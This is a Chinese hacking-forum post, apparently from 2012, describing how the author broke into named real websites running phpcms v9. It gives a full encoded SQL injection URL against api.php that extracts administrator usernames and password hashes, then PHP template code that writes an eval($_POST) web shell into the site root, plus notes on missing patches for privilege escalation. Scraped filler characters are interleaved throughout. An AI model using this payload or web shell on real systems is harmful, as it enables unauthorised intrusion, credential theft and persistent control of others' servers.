利用phpcms v9 0day拿shell

admin · 发表于 2012-12-20 08:44:41

期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。

Author：夜行人

From：F4ck Team

目标站：http://www.ipucom.com/

旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞

百度一下找到该漏洞的利用方法。

直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名

api.php?op=add_favorite&url=xx.oo&title=%2527: I4 z/ J. J5 H
                                          , p, O" D. o* }

3 ~$ `2 e, b3 X" H( c7 o1 X                               8 `0 V" v! P. m8 H

! Y/ H+ }. R. x2 Q  j  y
7 A8 v/ z7 F* M' B; _8 ^. g  \, O, a" f1 E5 H2 f

6 z& e- ~2 k$ W* F7 O+ W+ R
% o8 g( d: v9 F9 W  z& P% [: T+ k- ?, g7 `) |7 u& f  v/ u) |2 V/ {4 h
                                                      " B9 k# A4 E7 P! p
                                                      % {$ d% i. Y- a

这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名

api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%

2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select

%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C

password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from

%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables

%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from

%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and

%2520%25271%2527%253D%25271

0 P1 w) t) }1 N. C# M
7 A9 x* Z2 [& }% b+ h0 y7 `- H- ~1 |& j1 U9 `5 F9 `$ N) d. a

+ V, X; s4 H( Y2 n9 X! q

帐号密码就出来了，md5解密一下就行了

进入后台, 界面 > 模板管理 > 模板风格 >
- v! f' i E' Z + d8 h' I' y# T, U/ ~
7 U, ]/ c3 M7 h5 [1 V6 ^% G

; G/ z- @* K6 d; I
1 g/ t* k* X3 n/ |7 F8 J2 J( f, \% G

. J! B, l% A. S" [
4 l! b8 y$ s( j4 ^& @; @( ~( i: e% ]

点击后面的修改，然后把一下代码复制上去保存

<?

$fp = @fopen("c.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n");

@fclose($fp);

?>
- S! v4 |8 k! e
: v5 D/ k- }& f, ]5 S1 V$ m4 Z. Y( ~' b Y+ b- V5 @ x# f- N

9 ~5 ?( ]7 |9 d" y2 u8 L, ]# B0 d; i8 J
0 o a6 ~" N6 r8 f

. x5 T5 G1 L1 a) m3 y8 c$ F2 p" p( ]9 H; Y( v5 L
; v- W/ S5 k$ T1 Y, X+ n

9 O$ ?' m! `$ Q2 j) }: `( o& N1 x5 z

提交后可视化一下
" n8 M, Q- O- {! S3 x7 Z4 ~
0 Z4 r. r$ }" X6 f7 t( y

在网站的根目录就生成了你的一句话木马客户端

http://www.zhongyitong.com/f4ck.php

然后通过控制端连上去就行了。。。

提权貌似很简单，看了下systeminfo

发现没有

KB2503665

KB2592799

		自动登录	找回密码
密码			立即注册

利用phpcms v9 0day拿shell

本帖子中包含更多资源